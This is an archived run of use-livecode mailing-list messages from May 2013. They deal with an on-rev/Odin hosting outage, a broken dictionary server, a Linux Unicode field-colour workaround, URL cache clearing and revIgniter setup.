19:54:01 -0700 Subject: Dictionary Server Error In-Reply-To: References: Message-ID: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> Yes. Since the server "upgrade". This is bad. It REALLY needs fixing ASAP. Try to give good demo with this happening! Server people, wake up! Odin is down. http://on-rev.com is 404. On May 18, 2013, at 7:37 PM, Shawn Blc wrote: > When I click on the dictionary I'm getting something that looks like the > following in the message box (this goes on for several lines). Anyone else > getting this error? It's a pain in the rear. Any fix? > > The following server error was encountered: > > --------------------------------------------------------- > > pUrl: > http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D > > pStatus: cached > > UrlData: > > > > > > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dixonja at hotmail.co.uk Sun May 19 03:14:35 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sun, 19 May 2013 08:14:35 +0100 Subject: Odin down again ? In-Reply-To: References: , , , Message-ID: Is there anyway to tell runrev that all is not well with the ODIN server at a weekend ?... I have sent yet another email to support at runrev but I guess it's the weekend and there is no one around...:-( Any other ways to contact them ?... Yesterday, ODIN was resting it seems... today it is telling me that the disk is full Sorry for the inconvenience! The filesystem mounted at /home/ihouse on this server is running out of disk space. cPanel operations have been temporarily suspended to prevent something bad from happening. Please ask your system admin to remove any files not in use on that partition. I have very little on there..:-( > From: dixonja at hotmail.co.uk > To: use-livecode at lists.runrev.com > Subject: RE: Odin down again ? > Date: Sat, 18 May 2013 19:23:26 +0100 > > Thanks Mike... Oh well, off to the pub ! > > > Date: Sat, 18 May 2013 11:47:42 -0600 > > Subject: Re: Odin down again ? > > From: bonnmike at gmail.com > > To: use-livecode at lists.runrev.com > > > > Yep. Odin is gone. > > > > > > On Sat, May 18, 2013 at 11:20 AM, John Dixon wrote: > > > > > Can anyone confirm that Odin is down again ?... > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Sun May 19 04:17:40 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Sun, 19 May 2013 10:17:40 +0200 Subject: Odin down again ? In-Reply-To: References: , , , Message-ID: John, if you put "URGENT" into the subject line and if you use your email address which is associated with your on-rev account (normally the email you used for purchasing the on-rev account) , then you normally should receive a real answer(not an automatic reply - that one comes immediately) from support within 2 hours. Important:Please send your support request to on-rev at runrev.com. HTH, Regards, Matthias Am 19.05.2013 um 09:14 schrieb John Dixon : > Is there anyway to tell runrev that all is not well with the ODIN server at a weekend ?... I have sent yet another email to support at runrev but I guess it's the weekend and there is no one around...:-( Any other ways to contact them ?... > > Yesterday, ODIN was resting it seems... today it is telling me that the disk is full > > Sorry for the inconvenience! > > The filesystem mounted at /home/ihouse on this server is running out of disk space. cPanel operations have been temporarily suspended to prevent something bad from happening. Please ask your system admin to remove any files not in use on that partition. > > I have very little on there..:-( > > >> From: dixonja at hotmail.co.uk >> To: use-livecode at lists.runrev.com >> Subject: RE: Odin down again ? >> Date: Sat, 18 May 2013 19:23:26 +0100 >> >> Thanks Mike... Oh well, off to the pub ! >> >>> Date: Sat, 18 May 2013 11:47:42 -0600 >>> Subject: Re: Odin down again ? >>> From: bonnmike at gmail.com >>> To: use-livecode at lists.runrev.com >>> >>> Yep. Odin is gone. >>> >>> >>> On Sat, May 18, 2013 at 11:20 AM, John Dixon wrote: >>> >>>> Can anyone confirm that Odin is down again ?... >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From sundown at pacifier.com Sun May 19 04:41:10 2013 From: sundown at pacifier.com (JB) Date: Sun, 19 May 2013 01:41:10 -0700 Subject: Odin down again ? In-Reply-To: References: , , , Message-ID: <85102CED-67B9-41FE-9C38-1D686117F25F@pacifier.com> My website has been down too. -=>JB<=- On May 19, 2013, at 12:14 AM, John Dixon wrote: > Is there anyway to tell runrev that all is not well with the ODIN server at a weekend ?... I have sent yet another email to support at runrev but I guess it's the weekend and there is no one around...:-( Any other ways to contact them ?... > > Yesterday, ODIN was resting it seems... today it is telling me that the disk is full > > Sorry for the inconvenience! > > The filesystem mounted at /home/ihouse on this server is running out of disk space. cPanel operations have been temporarily suspended to prevent something bad from happening. Please ask your system admin to remove any files not in use on that partition. > > I have very little on there..:-( > > >> From: dixonja at hotmail.co.uk >> To: use-livecode at lists.runrev.com >> Subject: RE: Odin down again ? >> Date: Sat, 18 May 2013 19:23:26 +0100 >> >> Thanks Mike... Oh well, off to the pub ! >> >>> Date: Sat, 18 May 2013 11:47:42 -0600 >>> Subject: Re: Odin down again ? >>> From: bonnmike at gmail.com >>> To: use-livecode at lists.runrev.com >>> >>> Yep. Odin is gone. >>> >>> >>> On Sat, May 18, 2013 at 11:20 AM, John Dixon wrote: >>> >>>> Can anyone confirm that Odin is down again ?... >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From userev at canelasoftware.com Sun May 19 05:16:01 2013 From: userev at canelasoftware.com (Mark Talluto) Date: Sun, 19 May 2013 10:16:01 +0100 Subject: scrolling stack I made In-Reply-To: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: On May 18, 2013, at 11:04 AM, Colin Holgate wrote: > While at the conference I found time to figure out a couple of things. I used arrays for the first time (in LiveCode that is), and I found hardware acceleration settings that worked well. > > The test I did was to have a scene doing parallax scrolling. The initial scene is made up of five slices, each 1024 wide, and significantly tall too. Those need to be on the card twice each, so that you can scroll the second copy into view as you move. That went well enough, so I added 101 LC logos to the scene, and it still moved well. > > I made changes now so that you can try the effect on desktop, not just on mobile. If you do build this to mobile it uses the accelerometer, otherwise it uses the mouse position to control the scrolling speed. This truly an amazing demo of what can be done graphically with LC these days. It is incredibly smooth on my Mac Air. Thanks for sharing this. It is very fitting that I am testing it at this moment. The backdrop looks like the hills over here in Scotland. I am listening to the bag pipes as they are being played outside my hotel window while flying through the highlands in this demo. Very cool! Best regards, Mark Talluto http://www.canelasoftware.com From dixonja at hotmail.co.uk Sun May 19 05:36:16 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sun, 19 May 2013 10:36:16 +0100 Subject: Odin down again ? In-Reply-To: <85102CED-67B9-41FE-9C38-1D686117F25F@pacifier.com> References: , , , , , , , <85102CED-67B9-41FE-9C38-1D686117F25F@pacifier.com> Message-ID: Matthias... Thanks, I have done you as you outlined.. I hope that someone reads it...:-) > Subject: Re: Odin down again ? > From: sundown at pacifier.com > Date: Sun, 19 May 2013 01:41:10 -0700 > To: use-livecode at lists.runrev.com > > My website has been down too. > > -=>JB<=- > > > On May 19, 2013, at 12:14 AM, John Dixon wrote: > > > Is there anyway to tell runrev that all is not well with the ODIN server at a weekend ?... I have sent yet another email to support at runrev but I guess it's the weekend and there is no one around...:-( Any other ways to contact them ?... > > > > Yesterday, ODIN was resting it seems... today it is telling me that the disk is full > > > > Sorry for the inconvenience! > > > > The filesystem mounted at /home/ihouse on this server is running out of disk space. cPanel operations have been temporarily suspended to prevent something bad from happening. Please ask your system admin to remove any files not in use on that partition. > > > > I have very little on there..:-( > > > > > >> From: dixonja at hotmail.co.uk > >> To: use-livecode at lists.runrev.com > >> Subject: RE: Odin down again ? > >> Date: Sat, 18 May 2013 19:23:26 +0100 > >> > >> Thanks Mike... Oh well, off to the pub ! > >> > >>> Date: Sat, 18 May 2013 11:47:42 -0600 > >>> Subject: Re: Odin down again ? > >>> From: bonnmike at gmail.com > >>> To: use-livecode at lists.runrev.com > >>> > >>> Yep. Odin is gone. > >>> > >>> > >>> On Sat, May 18, 2013 at 11:20 AM, John Dixon wrote: > >>> > >>>> Can anyone confirm that Odin is down again ?... > >>>> > >>>> _______________________________________________ > >>>> use-livecode mailing list > >>>> use-livecode at lists.runrev.com > >>>> Please visit this url to subscribe, unsubscribe and manage your > >>>> subscription preferences: > >>>> http://lists.runrev.com/mailman/listinfo/use-livecode > >>>> > >>> _______________________________________________ > >>> use-livecode mailing list > >>> use-livecode at lists.runrev.com > >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bvg at mac.com Sun May 19 05:47:04 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Sun, 19 May 2013 11:47:04 +0200 Subject: Dictionary Server Error In-Reply-To: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> Message-ID: <10A06AAE-876C-497C-AD56-95914162A93A@mac.com> I know this is frustrating, and I've send reports to support about the docu stuff. Remember: when it's broken or dysfunctional, cc support :) On 19.05.2013, at 04:54, Jerry Jensen wrote: > Yes. Since the server "upgrade". This is bad. It REALLY needs fixing ASAP. Try to give good demo with this happening! > > Server people, wake up! Odin is down. http://on-rev.com is 404. > > > On May 18, 2013, at 7:37 PM, Shawn Blc wrote: > >> When I click on the dictionary I'm getting something that looks like the >> following in the message box (this goes on for several lines). Anyone else >> getting this error? It's a pain in the rear. Any fix? >> >> The following server error was encountered: >> >> --------------------------------------------------------- >> >> pUrl: >> http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D >> >> pStatus: cached >> >> UrlData: >> >> >> >> >> >> >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From richmondmathewson at gmail.com Sun May 19 07:28:16 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 19 May 2013 14:28:16 +0300 Subject: Unicode display on Linux. Message-ID: <5198B750.9060107@gmail.com> Unicode display on Linux has been a BIG headache for me for about 3 years with no solution in sight. The answer, perhaps inevitably, turns out to be very simple indeed. ----------------------------------------------------------------------- The Problem. I have a textField called "OOTPUT" and add incremental unicode characters to it like this: set the useUnicode to true set the unicodeText of fld "OOTPUT" to the unicodeText of fld "OOTPUT" & numToChar(XXXXX) where 'XXXXX' is a unicode address. On Macintosh and Windows XP [ see rampant road rage about what happens on Windows Vista, 7 and 8 elsewhere ] that works just as it should, and as each char is appended to the textfield end-users can see that. On ALL the Linux systems I have tried that yields an - apparently - empty textField. ----------------------------------------------------------------------- The Solution. The textField isn't empty, just setting the chars to transparent, or the same as the backgroundColor of the textField. So, one has to do this: set the useUnicode to true set the unicodeText of fld "OOTPUT" to the unicodeText of fld "OOTPUT" & numToChar(XXXXX) set the textColor of fld "OOTPUT" to "black" and this has to be done EVERY TIME a new char is appended. Don't ask me why, because I don't know. ------------------------------------------------------------------------- Of course this would not have caused me 3 years of teeth-gnashing had it either been documented in the Documentation, or, had one of the supposedly "great" Unicode experts who strut their funky stuff on the Use-List and the Forums been able to point this out. ------------------------------------------------------------------------ ------------------------------------------------------------------------ While I'm "on a roll" I feel like sounding off again about the Windows fiasco: it is a fiasco in several respects; 1. It really mucks up Unicode display, and 2. Nobody on either the Use-List or the Forums seems to give a damn about it except myself. --------------------------------------------------------------------- The Problem. Windows Vista, 7 and 8 substitute Windows system fonts in Unicode textFields. While this makes an aesthetic pig's breakfast out of things that is NOT the most besetting problem. The main problem comes about when a Livecode standalone leverages a specialist font containing non-standard Unicode characters stored in the Public Use Area: Windows merrily substitutes all the Unicode chars it can substitute and leaves any non-standard chars displayed in the specialist font, resulting in a foul aesthetic mismatch. Windows also imposes its own font kerning rules, over-riding any kerning rules et up within an LC standalone ruining font display. -------------------------------------------------------------------- The Solution. Dunno. Boycott Microsoft. Send Steve Ballmer a yellow rubber duck with "forever yours" written on its bottom. -------------------------------------------------------------------- Richmond. From shawnlivecode at gmail.com Sun May 19 07:59:20 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sun, 19 May 2013 06:59:20 -0500 Subject: How to clear the cache Message-ID: I have a little script to check for an internet connection. Problem is that if I take this little script out of the preOpenCard and put it into a button the results are the same. It keeps the last state, regardless if I disconnect my wifi or not. I'm thinking that the URL that I'm connecting to to check for an internet connection is still in cache. How would I clear this cache? These don't work. clear URL clear cache Any help is appreciated or at least point me in the right direction. Dank. From richmondmathewson at gmail.com Sun May 19 08:09:13 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 19 May 2013 15:09:13 +0300 Subject: LC 6.0.1 OSS Documentation Message-ID: <5198C0E9.3000807@gmail.com> Is totally cacked on Linux (at least): 1. search for a term and get a whole load of bumf about 'pURL' in the Message BOX. 2. try to type this message in Thunderbird mail client and keep getting the LC Message box flipping up and blocking it. 3. LC freezes with a transparent Message Box and one has to 'Kill' the process via the Terminal emulator. Richmond. From richmondmathewson at gmail.com Sun May 19 08:10:38 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 19 May 2013 15:10:38 +0300 Subject: How to clear the cache In-Reply-To: References: Message-ID: <5198C13E.2070507@gmail.com> On 05/19/2013 02:59 PM, Shawn Blc wrote: > I have a little script to check for an internet connection. Problem is > that if I take this little script out of the preOpenCard and put it into a > button the results are the same. It keeps the last state, regardless if I > disconnect my wifi or not. I'm thinking that the URL that I'm connecting > to to check for an internet connection is still in cache. > > How would I clear this cache? These don't work. > clear URL > clear cache > > Any help is appreciated or at least point me in the right direction. > > Dank. > _______________________________________________ > Try messing around with cacheURL. Richmond. From warren at warrensweb.us Sun May 19 08:52:09 2013 From: warren at warrensweb.us (Warren Samples) Date: Sun, 19 May 2013 07:52:09 -0500 Subject: LC 6.0.1 OSS Documentation In-Reply-To: <5198C0E9.3000807@gmail.com> References: <5198C0E9.3000807@gmail.com> Message-ID: <5198CAF9.7060200@warrensweb.us> On 05/19/2013 07:09 AM, Richmond wrote: > Is totally cacked on Linux (at least): See thread titled "Dictionary Server Error" From bonnmike at gmail.com Sun May 19 09:06:47 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sun, 19 May 2013 07:06:47 -0600 Subject: Odin down again ? In-Reply-To: References: <85102CED-67B9-41FE-9C38-1D686117F25F@pacifier.com> Message-ID: Odin seems to be back finally. And running right snappy for me too. On Sun, May 19, 2013 at 3:36 AM, John Dixon wrote: > Matthias... > > Thanks, I have done you as you outlined.. I hope that someone reads > it...:-) > > > Subject: Re: Odin down again ? > > From: sundown at pacifier.com > > Date: Sun, 19 May 2013 01:41:10 -0700 > > To: use-livecode at lists.runrev.com > > > > My website has been down too. > > > > -=>JB<=- > > > > > > On May 19, 2013, at 12:14 AM, John Dixon wrote: > > > > > Is there anyway to tell runrev that all is not well with the ODIN > server at a weekend ?... I have sent yet another email to support at runrevbut I guess it's the weekend and there is no one around...:-( Any other > ways to contact them ?... > > > > > > Yesterday, ODIN was resting it seems... today it is telling me that > the disk is full > > > > > > Sorry for the inconvenience! > > > > > > The filesystem mounted at /home/ihouse on this server is running out > of disk space. cPanel operations have been temporarily suspended to prevent > something bad from happening. Please ask your system admin to remove any > files not in use on that partition. > > > > > > I have very little on there..:-( > > > > > > > > >> From: dixonja at hotmail.co.uk > > >> To: use-livecode at lists.runrev.com > > >> Subject: RE: Odin down again ? > > >> Date: Sat, 18 May 2013 19:23:26 +0100 > > >> > > >> Thanks Mike... Oh well, off to the pub ! > > >> > > >>> Date: Sat, 18 May 2013 11:47:42 -0600 > > >>> Subject: Re: Odin down again ? > > >>> From: bonnmike at gmail.com > > >>> To: use-livecode at lists.runrev.com > > >>> > > >>> Yep. Odin is gone. > > >>> > > >>> > > >>> On Sat, May 18, 2013 at 11:20 AM, John Dixon > wrote: > > >>> > > >>>> Can anyone confirm that Odin is down again ?... > > >>>> > > >>>> _______________________________________________ > > >>>> use-livecode mailing list > > >>>> use-livecode at lists.runrev.com > > >>>> Please visit this url to subscribe, unsubscribe and manage your > > >>>> subscription preferences: > > >>>> http://lists.runrev.com/mailman/listinfo/use-livecode > > >>>> > > >>> _______________________________________________ > > >>> use-livecode mailing list > > >>> use-livecode at lists.runrev.com > > >>> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > > >> > > >> _______________________________________________ > > >> use-livecode mailing list > > >> use-livecode at lists.runrev.com > > >> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From warren at warrensweb.us Sun May 19 09:07:00 2013 From: warren at warrensweb.us (Warren Samples) Date: Sun, 19 May 2013 08:07:00 -0500 Subject: Unicode display on Linux. In-Reply-To: <5198B750.9060107@gmail.com> References: <5198B750.9060107@gmail.com> Message-ID: <5198CE74.5030104@warrensweb.us> On 05/19/2013 06:28 AM, Richmond wrote: > On ALL the Linux systems I have tried that yields an - apparently - > empty textField. > > ----------------------------------------------------------------------- > > The Solution. > > The textField isn't empty, just setting the chars to transparent, or the > same as the backgroundColor of the textField. > > So, one has to do this: > > set the useUnicode to true > set the unicodeText of fld "OOTPUT" to the unicodeText of fld "OOTPUT" & > numToChar(XXXXX) > set the textColor of fld "OOTPUT" to "black" > > and this has to be done EVERY TIME a new char is appended. > You didn't mention filing a bug report, so it bears asking. Did you file one? There have been past bugs where the cursor has been apparently invisible but in reality was just set to white. Perhaps this bug, now that you have identified the problem, will be relatively easy to fix. Warren From dixonja at hotmail.co.uk Sun May 19 09:56:26 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sun, 19 May 2013 14:56:26 +0100 Subject: Odin down again ? In-Reply-To: References: , , , , <85102CED-67B9-41FE-9C38-1D686117F25F@pacifier.com>, , Message-ID: It is Mike...:-) A chap called Dave Williams at runRev sorted it all out... I guess I ust have ruined his sunday afternoon...:-( > Date: Sun, 19 May 2013 07:06:47 -0600 > Subject: Re: Odin down again ? > From: bonnmike at gmail.com > To: use-livecode at lists.runrev.com > > Odin seems to be back finally. And running right snappy for me too. > > > On Sun, May 19, 2013 at 3:36 AM, John Dixon wrote: > > > Matthias... > > > > Thanks, I have done you as you outlined.. I hope that someone reads > > it...:-) > > > > > Subject: Re: Odin down again ? > > > From: sundown at pacifier.com > > > Date: Sun, 19 May 2013 01:41:10 -0700 > > > To: use-livecode at lists.runrev.com > > > > > > My website has been down too. > > > > > > -=>JB<=- > > > > > > > > > On May 19, 2013, at 12:14 AM, John Dixon wrote: > > > > > > > Is there anyway to tell runrev that all is not well with the ODIN > > server at a weekend ?... I have sent yet another email to support at runrevbut I guess it's the weekend and there is no one around...:-( Any other > > ways to contact them ?... > > > > > > > > Yesterday, ODIN was resting it seems... today it is telling me that > > the disk is full > > > > > > > > Sorry for the inconvenience! > > > > > > > > The filesystem mounted at /home/ihouse on this server is running out > > of disk space. cPanel operations have been temporarily suspended to prevent > > something bad from happening. Please ask your system admin to remove any > > files not in use on that partition. > > > > > > > > I have very little on there..:-( > > > > > > > > > > > >> From: dixonja at hotmail.co.uk > > > >> To: use-livecode at lists.runrev.com > > > >> Subject: RE: Odin down again ? > > > >> Date: Sat, 18 May 2013 19:23:26 +0100 > > > >> > > > >> Thanks Mike... Oh well, off to the pub ! > > > >> > > > >>> Date: Sat, 18 May 2013 11:47:42 -0600 > > > >>> Subject: Re: Odin down again ? > > > >>> From: bonnmike at gmail.com > > > >>> To: use-livecode at lists.runrev.com > > > >>> > > > >>> Yep. Odin is gone. > > > >>> > > > >>> > > > >>> On Sat, May 18, 2013 at 11:20 AM, John Dixon > > wrote: > > > >>> > > > >>>> Can anyone confirm that Odin is down again ?... > > > >>>> > > > >>>> _______________________________________________ > > > >>>> use-livecode mailing list > > > >>>> use-livecode at lists.runrev.com > > > >>>> Please visit this url to subscribe, unsubscribe and manage your > > > >>>> subscription preferences: > > > >>>> http://lists.runrev.com/mailman/listinfo/use-livecode > > > >>>> > > > >>> _______________________________________________ > > > >>> use-livecode mailing list > > > >>> use-livecode at lists.runrev.com > > > >>> Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > > > >> > > > >> _______________________________________________ > > > >> use-livecode mailing list > > > >> use-livecode at lists.runrev.com > > > >> Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > _______________________________________________ > > > > use-livecode mailing list > > > > use-livecode at lists.runrev.com > > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Sun May 19 10:06:10 2013 From: alex at tweedly.net (Alex Tweedly) Date: Sun, 19 May 2013 15:06:10 +0100 Subject: How to clear the cache In-Reply-To: References: Message-ID: <5198DC52.1040604@tweedly.net> unload URL tURL or if you prefer make the URL vary each time add 1 to tCount put ("http://mydomain.com/theurlname.lc?count=" & tCount) into tURL and use that URL. -- Alex. On 19/05/2013 12:59, Shawn Blc wrote: > I have a little script to check for an internet connection. Problem is > that if I take this little script out of the preOpenCard and put it into a > button the results are the same. It keeps the last state, regardless if I > disconnect my wifi or not. I'm thinking that the URL that I'm connecting > to to check for an internet connection is still in cache. > > How would I clear this cache? These don't work. > clear URL > clear cache > > Any help is appreciated or at least point me in the right direction. > > Dank. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Sun May 19 10:18:46 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 19 May 2013 17:18:46 +0300 Subject: LC 6.0.1 OSS Documentation In-Reply-To: <5198CAF9.7060200@warrensweb.us> References: <5198C0E9.3000807@gmail.com> <5198CAF9.7060200@warrensweb.us> Message-ID: <5198DF46.9020005@gmail.com> On 05/19/2013 03:52 PM, Warren Samples wrote: > On 05/19/2013 07:09 AM, Richmond wrote: >> Is totally cacked on Linux (at least): > > > See thread titled "Dictionary Server Error" > > _______________________________________________ Thanks. From richmondmathewson at gmail.com Sun May 19 10:23:15 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 19 May 2013 17:23:15 +0300 Subject: Unicode display on Linux. In-Reply-To: <5198CE74.5030104@warrensweb.us> References: <5198B750.9060107@gmail.com> <5198CE74.5030104@warrensweb.us> Message-ID: <5198E053.3070100@gmail.com> On 05/19/2013 04:07 PM, Warren Samples wrote: > On 05/19/2013 06:28 AM, Richmond wrote: >> On ALL the Linux systems I have tried that yields an - apparently - >> empty textField. >> >> ----------------------------------------------------------------------- >> >> The Solution. >> >> The textField isn't empty, just setting the chars to transparent, or the >> same as the backgroundColor of the textField. >> >> So, one has to do this: >> >> set the useUnicode to true >> set the unicodeText of fld "OOTPUT" to the unicodeText of fld "OOTPUT" & >> numToChar(XXXXX) >> set the textColor of fld "OOTPUT" to "black" >> >> and this has to be done EVERY TIME a new char is appended. >> > > > You didn't mention filing a bug report, so it bears asking. Did you > file one? There have been past bugs where the cursor has been > apparently invisible but in reality was just set to white. Perhaps > this bug, now that you have identified the problem, will be relatively > easy to fix. Bug report or no bug report, I have to work with LC 4.5. A sorted out bug would appear in a later version; one for which I, currently (and many others, I suspect) do not have the money to buy. Therefore, from my point of view, at least, these sorts of work arounds are very important. Richmond. > > Warren > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rabit at revigniter.com Sun May 19 10:34:09 2013 From: rabit at revigniter.com (Ralf Bitter) Date: Sun, 19 May 2013 16:34:09 +0200 Subject: RevIgniter & current on-rev LiveCode server version In-Reply-To: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> References: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> Message-ID: <5C03B294-86A1-4F90-BCA6-9F38541211AE@revigniter.com> Hi Keith, seems that yesterday my response didn't go through, so here it is again: The bug mentioned in the user guide applies only to installations on Lion and Mountain Lion. It is fixed in LiveCode Server release: 6.0.0-rc-1. This means, revIgniter should work on on-rev.com without flaws. I would try to start with a clean root folder without any Apache directives in .htaccess. Then all you have to do (really) is to copy the files and folders included to server root. Check your installation using an URL like "yourSite.on-rev.com/index.lc". Best Ralf On 18.05.2013, at 11:07, Keith Clarke wrote: > Hi folks, > Can any revIgniter expert please advise whether the current version of LiveCode Server installed on pancake.on-rev.com is compatible with revIgniter? > > I've installed but getting 404 errors on the index.lc page under revIgniter and the user guide's troubleshooting section mentions a bug in some LiveCode Server versions. > > I don't see any LiveCode server info in CPanel and can't find any documentation on how to check the server version from a .lc file. > > Is there a statement similar to that used to check PHP parameters - like 'put server version' ? > Best, > Keith.. From warren at warrensweb.us Sun May 19 10:46:06 2013 From: warren at warrensweb.us (Warren Samples) Date: Sun, 19 May 2013 09:46:06 -0500 Subject: Unicode display on Linux. In-Reply-To: <5198E053.3070100@gmail.com> References: <5198B750.9060107@gmail.com> <5198CE74.5030104@warrensweb.us> <5198E053.3070100@gmail.com> Message-ID: <5198E5AE.3060607@warrensweb.us> On 